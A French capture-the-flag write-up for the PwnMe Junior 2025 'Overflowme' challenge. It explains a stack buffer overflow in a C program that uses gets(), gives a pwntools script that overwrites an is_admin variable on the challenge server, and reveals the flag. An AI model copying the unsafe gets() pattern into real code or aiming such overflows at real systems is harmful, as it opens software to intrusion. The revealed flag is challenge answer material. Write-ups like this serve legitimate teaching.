Skip to main content
  1. WriteUps/
  2. PwnMe Junior 2025/

PwnMe Junior 2025 - Overflowme

·244 words·2 mins
Table of Contents

Write-up: Overflowme - PwnMe Junior 2025
#

Description
#

Overflowme est un challenge de type “buffer overflow” classique, parfait pour s’initier aux techniques d’exploitation basiques.

Analyse du binaire
#

Le programme est un binaire ELF 64 bits qui demande un nom d’utilisateur, puis vérifie si l’utilisateur est “admin”. Si ce n’est pas le cas, il affiche un message d’erreur.

Voici un extrait du code source :

#include <stdio.h>
#include <string.h>

int main() {
    char username[32];
    int is_admin = 0;
    
    printf("Username: ");
    gets(username);  // Vulnérabilité: utilisation de gets()
    
    if (is_admin) {
        printf("Welcome, admin! Here's your flag: PwnMe{buffer_0verflow_1s_e4sy}\n");
    } else {
        printf("Hello, %s! You are not admin.\n", username);
    }
    
    return 0;
}

Vulnérabilité
#

La vulnérabilité se situe dans l’utilisation de la fonction gets(), qui lit l’entrée utilisateur sans vérifier la taille du buffer. Cela permet d’écrire au-delà des 32 caractères alloués à username et donc de modifier la valeur de is_admin.

Exploitation
#

Pour exploiter cette vulnérabilité, il suffit d’envoyer 32 caractères pour remplir le buffer username, puis 4 ou 8 octets supplémentaires (selon l’architecture) pour écraser la valeur de is_admin avec une valeur non nulle.

from pwn import *

# Connexion au serveur
conn = remote('challenge.pwnme.fr', 1337)

# Construction du payload: 32 'A' pour remplir le buffer + "\x01\x00\x00\x00" pour écraser is_admin
payload = b"A" * 32 + p32(1)

# Envoi du payload
conn.sendlineafter(b"Username: ", payload)

# Réception et affichage du flag
print(conn.recvall().decode())

Flag
#

En exécutant l’exploit, nous obtenons le flag : PwnMe{buffer_0verflow_1s_e4sy}